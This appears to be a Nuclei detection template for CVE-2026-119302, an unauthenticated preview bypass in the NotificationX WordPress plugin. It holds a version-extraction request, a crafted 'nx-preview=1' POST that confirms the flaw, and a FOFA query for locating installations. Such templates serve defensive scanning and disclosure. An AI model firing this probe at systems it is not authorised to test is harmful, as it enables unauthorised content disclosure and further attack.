CVE-2026-119302: NotificationX < 3.3.7 - Unauthenticated Notification Preview

id: CVE-2026-119302

info:
  name: NotificationX < 3.3.7 - Unauthenticated Notification Preview
  author: maulanawirawan
  severity: high
  description: |
    NotificationX WordPress plugin < 3.3.7 contains an authentication bypass caused by missing capability, authentication, and nonce checks on notification preview path, letting unauthenticated attackers disclose private content and execute arbitrary shortcodes, exploit requires crafted preview data on front-end requests.
  impact: |
    Unauthenticated attackers can disclose private content and execute arbitrary shortcodes, potentially leading to information disclosure and code execution.
  remediation: |
    Update to version 3.3.7 or later.
  reference:
    - https://wpscan.com/vulnerability/e0264d07-668c-46f7-acab-0a7b59edb45f/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-119302
    - https://plugins.trac.wordpress.org/changeset?old_path=/notificationx/tags/3.3.6&new_path=/notificationx/tags/3.3.7
    - https://wordpress.org/plugins/notificationx/
  classification:
    cve-id: CVE-2026-119302
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
    vendor: wpdeveloper
    product: notificationx
    fofa-query: body="/wp-content/plugins/notificationx/"
  tags: cve,cve2026,wp,wordpress,wp-plugin,notificationx,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/notificationx/README.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'compare_versions(nxversion, "< 3.3.7")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nxversion
        group: 1
        internal: true
        regex:
          - '(?i)Stable tag: *([0-9]+\.[0-9]+(?:\.[0-9]+)?)'

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nx-preview=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, ".notificationx-woo-shortcode-inline-wrapper >")'
        condition: and
# digest: 4a0a0047304502200387d8330d9a099a7395dd7d2999f6661ff44a35039a67e3bfa58598d90c55f5022100eaad62f441c3c0f6f137e508c89f113d3e91e7d9edfcddf704d4e08ad524fc14:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.